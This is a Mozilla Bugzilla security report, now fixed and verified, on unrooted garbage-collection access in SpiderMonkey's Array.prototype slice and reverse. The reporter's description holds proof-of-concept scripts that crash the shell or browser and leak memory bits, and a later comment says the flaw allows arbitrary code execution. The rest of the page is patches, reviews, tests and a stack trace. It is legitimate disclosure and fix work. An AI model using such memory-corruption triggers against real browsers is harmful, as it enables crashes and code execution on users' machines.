Unrooted access in Array.prototype methods

VERIFIED FIXED in mozilla1.8rc1

Status

()

Core
JavaScript Engine
P1
critical
VERIFIED FIXED
12 years ago
11 years ago

People

(Reporter: Igor Bukanov, Assigned: Igor Bukanov)

Tracking

({js1.6, verified1.7.13, verified1.8})

Trunk
mozilla1.8rc1
x86
Linux
js1.6, verified1.7.13, verified1.8
Points:
---
Bug Flags:
blocking1.7.13 +
blocking-aviary1.0.8 +
blocking1.8rc1 +
in-testsuite +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:critical] arbitrary code execution (see comment 8))

Attachments

(3 attachments, 2 obsolete attachments)

(Assignee)

Description

12 years ago
Here is unrooted object access found in Array.prototype implementation in jsarray.c

1. array_slice does not root the array for slice results with trivial
demonstration of segmentation fault in jsshell:

function index_getter()
{
	gc();
	return 100;
}

var a = [0, 1];
a.__defineGetter__(0, index_getter);

uneval(a.slice(0, 1));


To make this to crash the browser just replace "gc();" by 
for (var i = 0; i != 1 << 15; ++i) new Object();

2. array_reverse does not root v and v2 indexes that it use to hold reversing
values. Here is an example for jsshell that demonstrates how to expose 64 bits
that holds JSString value into a script variable:

var subverted = 0;

function index_getter()
{
	delete a[0];
	gc();
	for (var i = 0; i != 1 << 14; ++i) {
		var tmp = new String("test");
		tmp = null;
	}
	return 1;
}

function index_setter(value)
{
	subverted = value;
}

var a = [ Math.sqrt(2), 0 ];
a.__defineGetter__(1, index_getter);
a.__defineSetter__(1, index_setter);

a.reverse();
print(subverted)

On my Linux box it prints 1.3303688272434068e-266 which is assembled from
JSString bits for 'new String("test");' interpreted as double value.

In a similar way one can make a GC thing that JS considers to be JSString from
arbitrary double value which could potentially allow to read arbitrary memory
context into scripts variables via this pseudo-string.

Due to this potential exposure I mark this bug as security-restricted.
(Assignee)

Comment 1

12 years ago
Created attachment 199011 [details] [diff] [review]
Fix

I am not 100% sure that I can use argv[argc] as a space for the second local
root in array_reverse. Is it OK?
Attachment #199011 - Flags: review?(brendan)
(Assignee)

Comment 2

12 years ago
Created attachment 199013 [details] [diff] [review]
Fix 2

The previois fix should move, not copy the line with 
*rval = OBJECT_TO_JSVAL(nobj)
to the beginning of the function. So here is removal of the extra assignment.
Attachment #199011 - Attachment is obsolete: true
Attachment #199013 - Flags: review?(brendan)
(Assignee)

Updated

12 years ago
Attachment #199011 - Flags: review?(brendan)
Thanks, Igor.  Another old bug that can be safely fixed for 1.8.  mrbkap, can
you drive this one in?

/be
Flags: blocking1.8rc1+
Keywords: js1.6
Comment on attachment 199013 [details] [diff] [review]
Fix 2

To use argv[argc] as a local root, you need to reserve one local root by
changing

    {"reverse", 	    array_reverse,	    0,JSFUN_GENERIC_NATIVE,0},

to have 1 instead of 0 in the last member initializer.

/be
(Assignee)

Comment 5

12 years ago
Created attachment 199024 [details] [diff] [review]
Fix 3

I used 2 extra local roots to swap temporaries for less hackish code and added
that 2 into array_methods declaration. 

More hackish version would use argv[-2] for the second local root, right?
(Assignee)

Updated

12 years ago
Attachment #199013 - Attachment is obsolete: true
Attachment #199024 - Flags: review?(brendan)
(Assignee)

Updated

12 years ago
Attachment #199013 - Flags: review?(brendan)
Comment on attachment 199024 [details] [diff] [review]
Fix 3

Great, thanks.	I will rely on mrbkap to do a second review and help get this
checked in.

/be
Attachment #199024 - Flags: review?(mrbkap)
Attachment #199024 - Flags: review?(brendan)
Attachment #199024 - Flags: review+
Attachment #199024 - Flags: approval1.8rc1+
Attachment #199024 - Flags: approval1.7.13+
Attachment #199024 - Flags: approval-aviary1.0.8+

Updated

12 years ago
Flags: blocking1.7.13+
Flags: blocking-aviary1.0.8+
Comment on attachment 199024 [details] [diff] [review]
Fix 3

r=mrbkap
Attachment #199024 - Flags: review?(mrbkap) → review+
Whiteboard: [sg:low] memory read at least, more?
(Assignee)

Comment 8

12 years ago
> [sg:low] memory read at least, maybe more

Unfortunately it is the same type of problem as in bug 311497 and can be used
for arbitrary code execution, see comment 10 there for details.

Updated

12 years ago
Whiteboard: [sg:low] memory read at least, more? → [sg:critical] arbitrary code execution (see comment 8)
Blake, would you shepherd this to fixed resolution?  Thanks,

/be
Assignee: general → mrbkap
Fix checked into trunk.
Status: NEW → RESOLVED
Last Resolved: 12 years ago
Priority: -- → P1
Resolution: --- → FIXED
Target Milestone: --- → mozilla1.8rc1
Blocks: 256195
(In reply to comment #5)
> Created an attachment (id=199024) [edit]
> Fix 3
> 
> I used 2 extra local roots to swap temporaries for less hackish code and added
> that 2 into array_methods declaration. 
> 
> More hackish version would use argv[-2] for the second local root, right?

That would be the callee function object, but it might be bad to overwrite it,
if you use an in-runtime debugger that might be confused.

/be

Priority: P1 → --
Target Milestone: mozilla1.8rc1 → ---
Fix checked into MOZILLA_1_8_BRANCH.

Reopening to give to Igor.
Status: RESOLVED → REOPENED
Keywords: fixed1.8
Priority: -- → P1
Resolution: FIXED → ---
Target Milestone: --- → mozilla1.8rc1

Updated

12 years ago
Assignee: mrbkap → igor.bukanov
Status: REOPENED → NEW

Updated

12 years ago
Status: NEW → RESOLVED
Last Resolved: 12 years ago12 years ago
Resolution: --- → FIXED

Comment 13

12 years ago
Created attachment 199448 [details]
js1_5/Array/regress-311792-01.js

Comment 14

12 years ago
Created attachment 199450 [details]
js1_5/Array/regress-311792-02.js

Updated

12 years ago
Flags: testcase?

Comment 15

12 years ago
verified firefox 1.5 rc2 linux/win32 2005-11-07
Keywords: fixed1.8 → verified1.8

Comment 16

12 years ago
testcase+ to get this off my radar. when this is made public, i will check in the test.
Flags: testcase? → testcase+
Fix checked into the 1.7 branches.
Keywords: fixed-aviary1.0.8, fixed1.7.13

Comment 18

11 years ago
js1_5/Array/regress-311792-01.js, js1_5/Array/regress-311792-02.js verified no crash in automatic tests of firefox nightlies 1.7.13, 1.8.0.1, 1.8, 1.9a1 on windows/linux/mac. Note that 1.7.5 and 1.7.12 did crash.

For mozilla 1.7.13 on winxp running the tests in the browser_however_ I was able to get a nightly Mozilla 1.7.13 from 20060213 to crash by clicking and attempting to edit the url in the urlbar back and forth from -01 to -02 however it did not crash immediately. I could not reproduce with a debug firefox trunk build from 20060214. I was able to hit an assert in Firefox 1.0.8 debug build from 20060214 though.

<http://test.mozilla.com/tests/mozilla.org/js/js-test-driver-standards.html?test=js1_5/Array/regress-311792-01.js;language=language;javascript>

Assertion failure: flags != GCF_FINAL, at c:/work/mozilla/builds/ff/1.0.x/mozilla/js/src/jsgc.c:835

+	cx	0x03bb08c0
	thing	0x03baf368
	arg	0x00000000
+	vp	0x03c734e8
+	flagp	0x03bae225 ""
+	obj	0x03baeba8
	nslots	0x00000005
	v	0x80000001
+	end	0x03c734e8
+	rt	0x00ec9e78
+	str	0x03bae9b0
	flags	0x10 ''

js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03baf368, void * 0x00000000) line 835 + 35 bytes
js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03bae520, void * 0x00000000) line 919 + 18 bytes
js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03b2a360, void * 0x00000000) line 919 + 18 bytes
js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03b2ad50, void * 0x00000000) line 919 + 18 bytes
gc_root_marker(JSDHashTable * 0x00ec9e98, JSDHashEntryHdr * 0x03b8786c, unsigned long 0x000001e6, void * 0x03bb08c0) line 975 + 18 bytes
JS_DHashTableEnumerate(JSDHashTable * 0x00ec9e98, int (JSDHashTable *, JSDHashEntryHdr *, unsigned long, void *)* 0x10042cb0 gc_root_marker(JSDHashTable *, JSDHashEntryHdr *, unsigned long, void *), void * 0x03bb08c0) line 618 + 34 bytes
js_GC(JSContext * 0x03bb08c0, unsigned int 0x00000000) line 1189 + 21 bytes
js_ForceGC(JSContext * 0x03bb08c0, unsigned int 0x00000000) line 1000 + 13 bytes
JS_GC(JSContext * 0x03bb08c0) line 1698 + 11 bytes
nsJSContext::Notify(nsJSContext * const 0x03bb0720, nsITimer * 0x0344b058) line 1859 + 13 bytes
nsTimerImpl::Fire() line 386
nsTimerManager::FireNextIdleTimer(nsTimerManager * const 0x0316f7f0) line 616
nsAppShell::Run(nsAppShell * const 0x02dcd6f8) line 142
nsAppShellService::Run(nsAppShellService * const 0x02dcd638) line 495
xre_main(int 0x00000004, char * * 0x003e6e08, const nsXREAppData * 0x0041e01c kAppData) line 1907 + 35 bytes
main(int 0x00000004, char * * 0x003e6e08) line 58 + 18 bytes
mainCRTStartup() line 338 + 17 bytes
KERNEL32! 7c816d4f()

I think this is fixed, but leaving unverified on the 1.7 branch for now until someone looks at the stack.
Status: RESOLVED → VERIFIED

Comment 19

11 years ago
v ff 1.0.8, 1.5.0.1, 1.5, 1.6a1 20060217 win/linux/mac, mozilla 1.7.13 winxp.
Keywords: fixed-aviary1.0.8, fixed1.7.13 → verified-aviary1.0.8, verified1.7.13
Group: security

Comment 20

11 years ago
RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-01.js,v
done
Checking in regress-311792-01.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-01.js,v  <--  regress-311792-01.js
initial revision: 1.1
done
RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-02.js,v
done
Checking in regress-311792-02.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-02.js,v  <--  regress-311792-02.js
initial revision: 1.1
done
You need to log in before you can comment on or make changes to this bug.